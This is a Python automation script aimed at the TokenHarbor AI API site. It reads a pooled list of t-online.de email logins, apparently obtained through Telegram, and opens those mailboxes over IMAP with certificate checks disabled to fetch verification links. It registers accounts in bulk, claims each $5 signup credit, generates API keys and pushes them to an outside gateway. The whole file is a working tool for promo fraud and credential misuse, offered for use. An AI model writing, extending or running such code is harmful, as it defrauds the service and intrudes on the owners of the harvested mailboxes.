#!/usr/bin/env python3 """TokenHarbor parallel auto-reg: 10 threads, one Chrome instance, shared state.""" # __portable_paths__ (auto-injected: portable, env-overridable paths) import os as _pos, sys as _psys from pathlib import Path as _PPath _ROOT = _PPath(__file__).resolve().parent _REPO = _ROOT for _ in range(4): if (_REPO / ".git").exists() or (_REPO / "README.md").exists(): break if _REPO.parent == _REPO: break _REPO = _REPO.parent _DATA = _PPath(_pos.environ.get("TOOLKIT_DATA", str(_REPO / "data"))) _WORK = _PPath(_pos.environ.get("TOOLKIT_WORK", str(_REPO / "_work"))) try: _DATA.mkdir(parents=True, exist_ok=True) _WORK.mkdir(parents=True, exist_ok=True) except Exception: pass _PY = _pos.environ.get("PYTHON_BIN") or _psys.executable _USERPROFILE = _pos.environ.get("USERPROFILE") or str(_PPath.home()) def _d(name, env=None): """Data-file path under ./data (or $TOOLKIT_DATA); optional per-file env override.""" if env and _pos.environ.get(env): return _PPath(_pos.environ[env]) return _DATA / name def _w(name=""): """Work-dir path under ./_work (or $TOOLKIT_WORK).""" return (_WORK / name) if name else _WORK # --- end portable prelude --- import json, time, re, ssl, sys, threading from pathlib import Path from datetime import datetime from urllib.request import urlopen, Request import websocket import imaplib import email as em import os # Account passwords live in /.env (gitignored). Guarded import: # python-dotenv is not a declared dependency of these standalone scripts. try: from dotenv import load_dotenv load_dotenv(os.path.join(os.path.dirname(os.path.abspath(__file__)), ".env")) except Exception: pass BASE_URL = "https://tokenharbor.ai" PASSWORD = os.environ["TOKENHARBOR_PASSWORD"] CDP_HOST = "127.0.0.1" CDP_PORT = 9222 GATEWAY_URL = "https://gateway.example.com/th" GATEWAY_KEY = os.environ.get("TH_GATEWAY_KEY", "") POOL_FILE = Path(str(_d("Downloads/Telegram Desktop/working_mails.txt","MAIL_POOL"))) KEYS_FILE = Path(str(_d("Desktop/авторег проект/tokenharbor_keys.txt"))) STATE_FILE = Path(str(_d("Desktop/авторег проект/th_tonline_state.json"))) state_lock = threading.Lock() keys_lock = threading.Lock() state = {"done": [], "fail": [], "idx": 0} def load_state(): global state if STATE_FILE.exists(): try: state = json.loads(STATE_FILE.read_text()) except: pass def save_state(): with state_lock: STATE_FILE.write_text(json.dumps(state, indent=2, default=str)) def connect_cdp(): try: req = Request(f"http://{CDP_HOST}:{CDP_PORT}/json/new", method="PUT") data = json.loads(urlopen(req).read()) ws = websocket.create_connection(data["webSocketDebuggerUrl"], timeout=10) return {"ws": ws, "id": 0} except Exception as e: return None def js(cdp, code, timeout=15): cdp["id"] = cdp.get("id", 0) + 1 mid = cdp["id"] cdp["ws"].send(json.dumps({"id": mid, "method": "Runtime.evaluate", "params": {"expression": code, "returnByValue": True, "awaitPromise": True}})) start = time.time() while time.time() - start < timeout: cdp["ws"].settimeout(1) try: data = json.loads(cdp["ws"].recv()) if data.get("id") == mid: r = data.get("result", {}).get("result", {}) return r.get("value"), data.get("subtype") except: pass return None, "timeout" def clear_session(cdp): """Clear all cookies and storage — prevents cross-account key leakage.""" cdp["id"] = cdp.get("id", 0) + 1 mid = cdp["id"] cdp["ws"].send(json.dumps({"id": mid, "method": "Network.clearBrowserCookies"})) time.sleep(0.3) js(cdp, "try{localStorage.clear();sessionStorage.clear();indexedDB.databases().then(dbs=>dbs.forEach(db=>indexedDB.deleteDatabase(db.name)));}catch(e){}") def nav(cdp, url): cdp["id"] = cdp.get("id", 0) + 1 mid = cdp["id"] cdp["ws"].send(json.dumps({"id": mid, "method": "Page.navigate", "params": {"url": url}})) time.sleep(1.5) def wait_for_verify_email(email_addr, email_pass, timeout=60): ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE try: mail = imaplib.IMAP4_SSL("secureimap.t-online.de", 993, ssl_context=ctx, timeout=10) mail.login(email_addr, email_pass) mail.select("INBOX") except Exception as e: return None status, baseline = mail.search(None, 'ALL') known_ids = set(baseline[0].split()) if baseline[0] else set() start = time.time() while time.time() - start < timeout: try: mail.select("INBOX") status, data = mail.search(None, 'ALL') if status == "OK" and data[0]: new_ids = set(data[0].split()) - known_ids for mid in sorted(new_ids, reverse=True): status, msg_data = mail.fetch(mid, "(RFC822)") if status != "OK": continue msg = em.message_from_bytes(msg_data[0][1]) body = "" if msg.is_multipart(): for part in msg.walk(): if part.get_content_type() in ("text/plain", "text/html"): payload = part.get_payload(decode=True) if payload: body += payload.decode("utf-8", errors="replace") else: payload = msg.get_payload(decode=True) if payload: body = payload.decode("utf-8", errors="replace") if "tokenharbor" in body.lower() or "verify" in body.lower(): links = re.findall(r'https://tokenharbor\.ai/verify-email\?token=[^\s"<>]+', body) if links: mail.logout() return links[0] time.sleep(3) except: time.sleep(5) try: mail.logout() except: pass return None def push_key(api_key): try: data = json.dumps({"provider": "tokenharbor", "key": api_key}).encode() req = Request(f"{GATEWAY_URL}/provider/add?provider=tokenharbor", data=data, headers={"Content-Type": "application/json", "Authorization": f"Bearer {GATEWAY_KEY}"}, method="POST") resp = urlopen(req, timeout=10) return json.loads(resp.read()), resp.status except Exception as e: return {"error": str(e)}, 500 def process_one(cdp, email, email_pass): label = email.split("@")[0][:12] is_new_signup = False # CLEAR SESSION — prevent cross-account cookie leakage clear_session(cdp) # STEP 1: Try SIGNUP first (new account registration) print(f" [{label}] Signup...", flush=True) nav(cdp, f"{BASE_URL}/login") time.sleep(1.5) # Click "Sign up" tab js(cdp, """for(var b of document.querySelectorAll('button')) { if(b.textContent.trim() === 'Sign up' && b.offsetParent !== null) { b.click(); break; } }""") time.sleep(2) # Fill signup form js(cdp, f""" var nativeSet = Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype, 'value').set; var e = document.querySelector('input[type="email"]'); if(e) {{ nativeSet.call(e, '{email}'); e.dispatchEvent(new Event('input', {{bubbles:true}})); }} var p = document.querySelector('input[type="password"]'); if(p) {{ nativeSet.call(p, '{PASSWORD}'); p.dispatchEvent(new Event('input', {{bubbles:true}})); }} """) time.sleep(1.5) # Click "Create account" js(cdp, """for(var b of document.querySelectorAll('button')) { if(b.textContent.includes('Create account') && b.offsetParent !== null) { b.click(); break; } }""") time.sleep(3) url, _ = js(cdp, "window.location.href") body, _ = js(cdp, "document.body.innerText") # Check if signup succeeded or if account already exists if "dashboard" in str(url) or "verify" in str(url).lower(): is_new_signup = True print(f" [{label}] Signup OK", flush=True) elif body and ("already exists" in str(body).lower() or "already registered" in str(body).lower() or "already have an account" in str(body).lower()): # Account exists — switch to login print(f" [{label}] Already registered, logging in...", flush=True) nav(cdp, f"{BASE_URL}/login") time.sleep(3) # Click "Sign in" tab js(cdp, """for(var b of document.querySelectorAll('button')) { if(b.textContent.trim() === 'Sign in' && b.offsetParent !== null) { b.click(); break; } }""") time.sleep(1) js(cdp, f""" var nativeSet = Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype, 'value').set; var e = document.querySelector('input[type="email"]'); if(e) {{ nativeSet.call(e, '{email}'); e.dispatchEvent(new Event('input', {{bubbles:true}})); }} var p = document.querySelector('input[type="password"]'); if(p) {{ nativeSet.call(p, '{PASSWORD}'); p.dispatchEvent(new Event('input', {{bubbles:true}})); }} """) time.sleep(0.5) js(cdp, """for(var b of document.querySelectorAll('button')) { if(b.textContent.includes('Sign in') && b.closest('form')) { b.click(); break; } }""") time.sleep(6) url, _ = js(cdp, "window.location.href") if "dashboard" not in str(url): time.sleep(5) url, _ = js(cdp, "window.location.href") if "dashboard" not in str(url): return None, f"login failed: {url}" print(f" [{label}] Logged in", flush=True) else: # Signup might have failed for other reasons, try login as fallback print(f" [{label}] Signup unclear, trying login...", flush=True) nav(cdp, f"{BASE_URL}/login") time.sleep(3) js(cdp, f""" var nativeSet = Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype, 'value').set; var e = document.querySelector('input[type="email"]'); if(e) {{ nativeSet.call(e, '{email}'); e.dispatchEvent(new Event('input', {{bubbles:true}})); }} var p = document.querySelector('input[type="password"]'); if(p) {{ nativeSet.call(p, '{PASSWORD}'); p.dispatchEvent(new Event('input', {{bubbles:true}})); }} """) time.sleep(0.5) js(cdp, """for(var b of document.querySelectorAll('button')) { if(b.textContent.includes('Sign in') && b.closest('form')) { b.click(); break; } }""") time.sleep(6) url, _ = js(cdp, "window.location.href") if "dashboard" not in str(url): time.sleep(5) url, _ = js(cdp, "window.location.href") if "dashboard" not in str(url): return None, f"login failed: {url}" print(f" [{label}] Logged in", flush=True) # Verify email (only for new signups) if is_new_signup: body, _ = js(cdp, "document.body.innerText") if body and "Verify your email" in str(body): print(f" [{label}] Needs verification", flush=True) js(cdp, """for(var b of document.querySelectorAll('button')) { if((b.textContent.includes('Verify') && b.textContent.includes('email')) && b.offsetParent !== null) { b.click(); break; } }""") time.sleep(2) verify_link = wait_for_verify_email(email, email_pass, timeout=60) if verify_link: nav(cdp, verify_link) time.sleep(4) url, _ = js(cdp, "window.location.href") if "verify=success" in str(url) or "dashboard" in str(url): print(f" [{label}] Verified!", flush=True) else: print(f" [{label}] Verify link failed", flush=True) else: print(f" [{label}] No verify email", flush=True) else: print(f" [{label}] Already verified", flush=True) # Claim $5 (only for new signups) nav(cdp, f"{BASE_URL}/dashboard") time.sleep(4) js(cdp, """for(var b of document.querySelectorAll('button')) { if((b.textContent.includes('Claim') || b.textContent.includes('Gift')) && b.offsetParent !== null) { b.click(); break; } }""") time.sleep(2) js(cdp, """for(var b of document.querySelectorAll('button')) { if(b.textContent.trim() === 'Claim' && b.offsetParent !== null) { b.click(); break; } }""") time.sleep(3) print(f" [{label}] $5 claimed!", flush=True) # Create API key nav(cdp, f"{BASE_URL}/dashboard/api-keys") time.sleep(8) for _ in range(10): t, _ = js(cdp, "document.body.innerText") if "API keys" in str(t): break time.sleep(2) js(cdp, """for(var b of document.querySelectorAll('button')) { if(b.textContent.trim().includes('New key') && b.offsetParent !== null) { b.click(); break; } }""") time.sleep(3) js(cdp, f""" var inputs = document.querySelectorAll('input[type="text"]'); for(var inp of inputs) {{ if(inp.offsetParent !== null) {{ var nativeSet = Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype, 'value').set; nativeSet.call(inp, '{label}'); inp.dispatchEvent(new Event('input', {{bubbles:true}})); inp.dispatchEvent(new Event('change', {{bubbles:true}})); break; }} }} """) time.sleep(2) js(cdp, """for(var b of document.querySelectorAll('button')) { if(b.textContent.trim() === 'Create key' && !b.disabled && b.offsetParent !== null) { b.click(); break; } }""") time.sleep(5) page, _ = js(cdp, "document.body.innerText") match = re.search(r'thk_live_[a-zA-Z0-9_-]{40,}', str(page)) api_key = match.group(0) if match else None if api_key: with keys_lock: with open(KEYS_FILE, "a", encoding="utf-8") as f: f.write(f"{email} | {api_key} | {datetime.now().isoformat()}\n") result, status = push_key(api_key) pushed = status == 200 print(f" [{label}] KEY: {api_key[:25]}... pushed={pushed}", flush=True) return api_key, None return None, "no key" def worker(thread_id, emails): """Process a list of emails in one CDP tab.""" cdp = connect_cdp() if not cdp: print(f"[T{thread_id}] CDP FAILED", flush=True) return for i, (email, pwd) in enumerate(emails): print(f"[T{thread_id}][{i+1}/{len(emails)}] {email}", flush=True) key, err = process_one(cdp, email, pwd) with state_lock: state = json.loads(STATE_FILE.read_text()) if key: state["done"].append(email) else: state["fail"].append({"email": email, "error": str(err)}) STATE_FILE.write_text(json.dumps(state, indent=2, default=str)) time.sleep(1) cdp["ws"].close() print(f"[T{thread_id}] DONE", flush=True) def main(n_threads, per_thread): load_state() done_emails = set(state.get("done", [])) failed_emails = set(item["email"] for item in state.get("fail", [])) pool = [] with open(POOL_FILE, "r", encoding="utf-8") as f: for line in f: if ":" in line and "@" in line: parts = line.strip().split(":", 1) if len(parts) == 2: email, pwd = parts if "t-online.de" in email and email not in done_emails and email not in failed_emails: pool.append((email, pwd)) total = n_threads * per_thread pool = pool[:total] print(f"Starting {n_threads} threads, {per_thread} each = {len(pool)} total", flush=True) threads = [] for t in range(n_threads): chunk = pool[t * per_thread : (t + 1) * per_thread] th = threading.Thread(target=worker, args=(t, chunk)) th.start() threads.append(th) time.sleep(0.5) # stagger CDP connects for th in threads: th.join() final_state = json.loads(STATE_FILE.read_text()) print(f"\nDone: {len(final_state.get('done',[]))}, Fail: {len(final_state.get('fail',[]))}", flush=True) if __name__ == "__main__": n = int(sys.argv[1]) if len(sys.argv) > 1 else 10 per = int(sys.argv[2]) if len(sys.argv) > 2 else 10 main(n, per)